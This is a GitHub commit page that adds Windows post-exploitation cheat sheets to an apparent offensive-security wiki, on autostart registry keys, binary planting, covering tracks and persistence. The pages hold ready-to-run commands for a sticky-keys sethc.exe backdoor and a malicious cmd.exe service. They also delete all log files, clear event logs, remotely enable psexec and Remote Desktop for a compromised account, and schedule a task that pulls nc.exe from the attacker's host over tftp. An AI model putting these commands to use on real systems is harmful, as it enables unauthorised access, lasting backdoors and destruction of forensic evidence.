Skip to content

Commit 8c04d9e

Browse files
committed
Merge pull request #54 from pwnwiki/ames_content
Linking fixes, content fixes and content addition - Ames
2 parents 2718e11 + df440da commit 8c04d9e

File tree

7 files changed

+274
-6
lines changed

7 files changed

+274
-6
lines changed

persistence/windows/autostart.md

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
## Windows Autostart Locations
2+
### Folders
3+
| Location | Operating System |
4+
| -------- | ---------------- |
5+
| `%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\` | Windows NT 6.0, 6.1 |
6+
| `%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\` | Windows 5.0, 5.1, 5.2 |
7+
| `%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\` | Windows 9x |
8+
| `%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\` | Windows NT 3.50, 3.51, 4.0 |
9+
| `User\Startup\` | |
10+
| `%windir%\Start Menu\Programs\Startup\` | |
11+
| `%windir%\Tasks\` | |
12+
| `%windir%\system\iosubsys\` | |
13+
| `%windir%\system\vmm32\` | |
14+
15+
### Files
16+
| Location | Operating System |
17+
| -------- | ---------------- |
18+
| `%windir%\dosstart.bat` | |
19+
| `%windir%\system.ini` - [boot] "scrnsave.exe" | |
20+
| `%windir%\system.ini` - [boot] "shell" | |
21+
| `%windir%\system\autoexec.nt` | |
22+
| `%windir%\system\config.nt` | |
23+
| `%windir%\win.ini` - [windows] "load" | |
24+
| `%windir%\win.ini` - [windows] "run" | |
25+
| `%windir%\wininit.ini` | |
26+
| `%windir%\winstart.bat` | |
27+
| `c:\autoexec.bat` | |
28+
| `c:\config.sys` | |
29+
| `c:\explorer.exe` | |
30+
31+
### Registry
32+
| Location | Function |
33+
| -------- | -------- |
34+
| `%windir%\dosstart.bat` | |
35+
| `HKEY_CLASSES_ROOT\batfile\shell\open\command\` | Executed whenever a .BAT file (Batch Command) is run. |
36+
| `HKEY_CLASSES_ROOT\comfile\shell\open\command\` | Executed whenever a .COM file (Command) is run. |
37+
| `HKEY_CLASSES_ROOT\exefile\shell\open\command\` | Executed whenever a .EXE file (Executable) is run. |
38+
| `HKEY_CLASSES_ROOT\jsefile\shell\open\command\` | Executed whenever a .JSE file (Encoded Javascript) is run. |
39+
| `HKEY_CLASSES_ROOT\jsfile\shell\open\command\` | Executed whenever a .JS file (Javascript) is run. |
40+
| `HKEY_CLASSES_ROOT\piffile\shell\open\command\` | Executed whenever a .PIF file (Portable Interchange Format) is run. |
41+
| `HKEY_CLASSES_ROOT\scrfile\shell\open\command\` | Executed whenever a .SCR file (Screen Saver) is run. |
42+
| `HKEY_CLASSES_ROOT\vbefile\shell\open\command\` | Executed whenever a .VBE file (Encoded Visual Basic Script) is run. |
43+
| `HKEY_CLASSES_ROOT\vbsfile\shell\open\command\` | Executed whenever a .VBS file (Visual Basic Script) is run. |
44+
| `HKEY_CLASSES_ROOT\wsffile\shell\open\command\` | Executed whenever a .WSF file (Windows Scripting File) is run. |
45+
| `HKEY_CLASSES_ROOT\wshfile\shell\open\command\` | Executed whenever a .WSH file (Windows Scripting Host) is run. |
46+
| `HKEY_CURRENT_USER\Control Panel\Desktop` | The "SCRNSAVE.EXE" value is monitored. This value is launched when your screen saver activates. |
47+
| `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load` | Executed when the user logs in. |
48+
| `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\run` | Executed when the user logs in. |
49+
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. |
50+
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup\` | Used only by Setup. Displays a progress dialog box as the keys are run one at a time. |
51+
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. |
52+
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\` | All values in this key are executed. |
53+
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\` | All subkeys are monitored, with special attention paid to the "StubPath" value in each subkey. |
54+
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit` | Executed when a user logs in. |
55+
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon` | The "Shell" value is monitored. This value is executed after you log in. |
56+
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\` | All values in this key are executed. |
57+
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. |
58+
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. |
59+
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\` | All values in this key are executed as services, and then their autostart reference is deleted. |
60+
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\` | All values in this key are executed as services. |
61+
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\` | Executed by explorer.exe as soon as it has loaded. |
62+
| `HKEY_LOCAL_MACHINE\System\Control\WOW\cmdline` | Executed when a 16-bit Windows executable is executed. |
63+
| `HKEY_LOCAL_MACHINE\System\Control\WOW\wowcmdline` | Executed when a 16-bit DOS application is executed. |
64+
| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager` | The "BootExecute" value is monitored. Files listed here are Native Applications that are executed before Windows starts. |
65+
| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\` | All subkeys are monitored, with special attention paid to the "StaticVXD" value in each subkey. |
66+
| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Winsock2\Parameters\Protocol_Catalog\Catalog_En tries\` | Layered Service Providers, executed before user login. |
67+
| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\` | Services marked to startup automatically are executed before user login. |
68+
| `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | Similar to the RunOnce key from HKEY_CURRENT_USER. |
69+
| `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run\` | Similar to the Run key from HKEY_CURRENT_USER. |
70+
71+
72+
## Windows Operating System Versions
73+
From http://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx:
74+
75+
The following table summarizes the most recent operating system version numbers.
76+
77+
| Operating system | Version number |
78+
| ---------------- | -------------- |
79+
| Windows 8.1 | 6.3 |
80+
| Windows Server 2012 R2 | 6.3 |
81+
| Windows 8 | 6.2 |
82+
| Windows Server 2012 | 6.2 |
83+
| Windows 7 | 6.1 |
84+
| Windows Server 2008 R2 | 6.1 |
85+
| Windows Server 2008 | 6.0 |
86+
| Windows Vista | 6.0 |
87+
| Windows Server 2003 R2 | 5.2 |
88+
| Windows Server 2003 | 5.2 |
89+
| Windows XP 64-Bit Edition | 5.2 |
90+
| Windows XP | 5.1 |
91+
| Windows 2000 | 5.0 |
92+
93+
## References
94+
A large portion of this content came from https://web.archive.org/web/20110203184210/http://www.easy-data.no/Autostart.html

persistence/windows/binary.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# Windows Binary Planting
2+
3+
Binary Planting is essentially putting binary is a specific place, be it moved, copied or uploaded to create the desired effect. In this section we'll be going over the use of binary planting to escalate privileges.
4+
5+
| Command | Description / Importance |
6+
| ------- | ------------------------ |
7+
| `%SystemRoot%\System32\wbem\mof\` | Taken from Stuxnet: http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf Look for Print spooler vulnerability. |
8+
| `echo $PATH` | Check the $PATH environmental variable. Some directories may be writable. See: https://www.htbridge.com/advisory/HTB23108 |
9+
| `msiexec.exe` | Idea taken from here: http://goo.gl/E3LTa - basically put evil binary named msiexec.exe in Downloads directory and when a installer calles msiexec without specifying path you get code execution. |
10+
| `sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys` | Create malicious services. |
11+
|<code>Replacing file as: sethc.exe<br>@echo off <br>c: > nul\\cd\ > nul\\cd %SYSTEMROOT%\System32\ > nul <br>if exist %SYSTEMROOT%\System32\cmdsys\ rd /q %SYSTEMROOT%\System32\cmdsys\ > nul <br>cmd %SYSTEMROOT%\System32\cmdsys\ > nul <br>copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\cmd.bkp /y > nul <br>copy /y c:\windows\system32\sethc.exe c:\windows\system32\cmdsys\sethc.bkp /y > nul <br>copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\sethc.exe /y > nul <br>copy /y c:\windows\system32\cmdsys\sethc.exe c:\windows\system32\sethc.exe /y > nul<br>exit</code> | By doing this, you just have to press the sticky key activation key. From Wikipedia.org: To enable this shortcut, the ?Shift key must be pressed 5 times in short succession. This feature can also be turned on and off via the Accessibility icon in the Windows Control Panel. To turn off once enabled, just simply press 3 or more of the Sticky Keys (Ctrl, Alt, Shift, Windows Button) at the same time. |

persistence/windows/cover.md

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
<!-- Code for collapse and expand -->
2+
<script type="text/javascript">
3+
$(document).ready(function() {
4+
$('div.view').hide();
5+
$('div.slide').click(function() {
6+
$(this).next('div.view').slideToggle('fast');
7+
return false;
8+
});
9+
});
10+
</script>
11+
12+
# Windows Covering Tracks Commands
13+
14+
Commands to run to clean up a system after you have exploited it and to reduce a target's ability to discover what you did while on their system and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
15+
16+
## del
17+
### Delete Logs
18+
* **Command with arguments**: `del %WINDIR%\*.log /a /s /q /f`
19+
* **Description**: **MUST be run as an administrator**. Deletes all *.log files from the %WINDIR% directory.
20+
* **Output**:
21+
* NA
22+
23+
----
24+
25+
## wevtutil
26+
### List Logs
27+
* **Command with arguments**: `wevutil el`
28+
* **Description**: Lists the different log files the system is keeping. More information can be found http://technet.microsoft.com/en-us/library/cc732848(WS.10).aspx
29+
* **Output**:
30+
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wevtutil el
31+
Application
32+
DFS Replication
33+
Directory Service
34+
DNS Server
35+
File Replication Service
36+
HardwareEvents
37+
Internet Explorer
38+
Key Management Service
39+
Security
40+
System
41+
ThinPrint Diagnostics
42+
EndpointMapper
43+
ForwardedEvents
44+
Microsoft-Windows-ADSI/Debug
45+
Microsoft-Windows-Bits-Client/Analytic
46+
Microsoft-Windows-Bits-Client/Operational
47+
Microsoft-Windows-CAPI2/Operational
48+
Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational
49+
Microsoft-Windows-CodeIntegrity/Operational
50+
Microsoft-Windows-CodeIntegrity/Verbose
51+
Microsoft-Windows-COM/Analytic
52+
Microsoft-Windows-CorruptedFileRecovery-Client/Operational
53+
Microsoft-Windows-CorruptedFileRecovery-Server/Operational
54+
Microsoft-Windows-CredUI/Diagnostic
55+
Microsoft-Windows-DateTimeControlPanel/Analytic
56+
Microsoft-Windows-DateTimeControlPanel/Debug
57+
Microsoft-Windows-DateTimeControlPanel/Operational
58+
Microsoft-Windows-DCLocator/Debug
59+
Microsoft-Windows-Diagnosis-DPS/Analytic
60+
Microsoft-Windows-Diagnosis-DPS/Debug
61+
Microsoft-Windows-Diagnosis-DPS/Operational
62+
Microsoft-Windows-Diagnosis-MSDT/Debug
63+
Microsoft-Windows-Diagnosis-MSDT/Operational
64+
Microsoft-Windows-Diagnosis-PLA/Debug
65+
Microsoft-Windows-Diagnosis-PLA/Operational
66+
Microsoft-Windows-Diagnosis-WDI/Debug
67+
Microsoft-Windows-Diagnostics-Networking/Debug
68+
[...snip...]</code></div>
69+
70+
### Clear Logs
71+
* **Command with arguments**: `wevtutil cl [LOGNAME]`
72+
* **Description**: **MUST be run as an administrator**. Clears the contents of a specific log.
73+
* **Output**:
74+
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>c:\temp>wevtutil cl Microsoft-Windows-EventLog/Debug</code></div>

persistence/windows/general.md

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
<!-- Code for collapse and expand -->
2+
<script type="text/javascript">
3+
$(document).ready(function() {
4+
$('div.view').hide();
5+
$('div.slide').click(function() {
6+
$(this).next('div.view').slideToggle('fast');
7+
return false;
8+
});
9+
});
10+
</script>
11+
12+
# Windows General Persistence Commands
13+
14+
Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
15+
16+
17+
### Enable `psexec`
18+
The [`psexec` tool](http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx) executes processes on other systems over a network. Most systems now disable the "clipbook" which `psexec` required. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 50)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can re-enable the sub-systems needed to use `psexec` using the `sc` commands below.
19+
20+
``c:\> net use \\[TargetIP]\ipc$ username /user:password
21+
c:\> sc \\[TargetIP] config netdde start= auto
22+
c:\> sc \\[TargetIP] config netddedsdm start= auto
23+
c:\> sc \\[TargetIP] config clipsrv start= auto
24+
c:\> sc \\[TargetIP] start netdde
25+
c:\> sc \\[TargetIP] start netddedsdm
26+
c:\> sc \\[TargetIP] start clipsrv
27+
``
28+
29+
### Enable Remote Desktop
30+
Remote Desktop allows a remote user to receive a graphical "desktop" of the target (compromised) system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 53)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely enable remote desktop using the commands below.
31+
32+
1. On the compromised system, create a file named `fix_ts_policy.ini` containing the contents below. Change the *"hacked_account"* value to the account you have compromised on the remote system.
33+
34+
<pre>
35+
[Unicode]
36+
Unicode=yes
37+
[Version]
38+
signature="$CHICAGO$"
39+
Revision=1
40+
[Privilege Rights] [Privilege Rights]
41+
seremoteinteractivelogonright = hacked_account
42+
seinteractivelogonright = hacked_account
43+
sedenyinteractivelogonright =
44+
sedenyremoteinteractivelogonright =
45+
sedenynetworklogonright =
46+
</pre>
47+
48+
1. Create another file named `enable_ts.reg` containing the contents below.
49+
50+
<pre>
51+
Windows Registry Editor Version 5.00
52+
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
53+
"fDenyTSConnections"=dword:00000000
54+
"TSEnabled"=dword:00000001
55+
"TSUserEnabled"=dword:00000000
56+
</pre>
57+
58+
1. On the remote system, execute the following commands:
59+
60+
``c:\> sc config termservice start= auto sc config termservice start= auto
61+
c:\> regedit /s enable_ts.reg
62+
c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\new.secedit.sdb
63+
c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\orig.secedit.sdb
64+
c:\> secedit /configure /db new.secedit.sdb /cfg fix_ts_policy.ini
65+
c:\> gpupdate /Force
66+
c:\> net start "terminal services"
67+
``
68+
69+
### Scheduler
70+
The [Windows scheduler](http://support.microsoft.com/kb/313565) can be used to further compromise a system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 58)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely schedule tasks using the commands below.
71+
72+
``c:\> net use \\[TargetIP]\ipc$ password /user:username
73+
c:\> at \\[TargetIP] 12:00 pm command
74+
``
75+
76+
An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe`

persistence/windows/index.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
# Windows Persistence Commands
2+
3+
Commands that help you maintain control over a compromised system.
4+
5+
* [Autostart Locations](autostart.md) - Where are the locations that will cause some command to auto-start on boot.
6+
* [Binary Planting](binary.md) - Putting binary files in certain places.
7+
* [Covering Tracks](cover.md) - Covering your tracks.
8+
* [General Commands](general.md) - Commands your could/should use to maintain your hold on the compromised system.

pivoting/windows/index.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
# Windows Pivoting Commands
2+
3+
Commands that help you pivot to other systems from a compromised system.
4+
5+
* [Networking Commands](windows_cmd_network.md) - Gathering system information about network interfaces and such.
6+
* [Remote Movement](remote.md) - Commands that move data and files between systems on a network.

presence/windows/index.md

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,7 @@
1-
# Windows CMD Commands
1+
# Windows Presence Commands
22

3-
Command that can be executed from the context of the CMD.exe prompt.
4-
5-
* [Config Commands](windows_cmd_config.md) - Commands that display information about the configuration of the victim.
6-
* [Network Commands](windows_cmd_network.md) - Commands used for gathering information about the network settings and connections of a system.
7-
* [Remote Acccess Commands](windows_cmd_remote.md) - Commands to remotely administer systems.
3+
Command that can be executed from the context of the CMD.exe prompt that help gain insight into the configuration of the target.
84

5+
* [Blind Files](blind.md) - Files to look for on the system.
6+
* [Config](windows_cmd_config.md) - Commands that display information about the configuration of the victim.
7+
* [Finding Files](find_files.md) - How to search for files.

0 commit comments

Comments
 (0)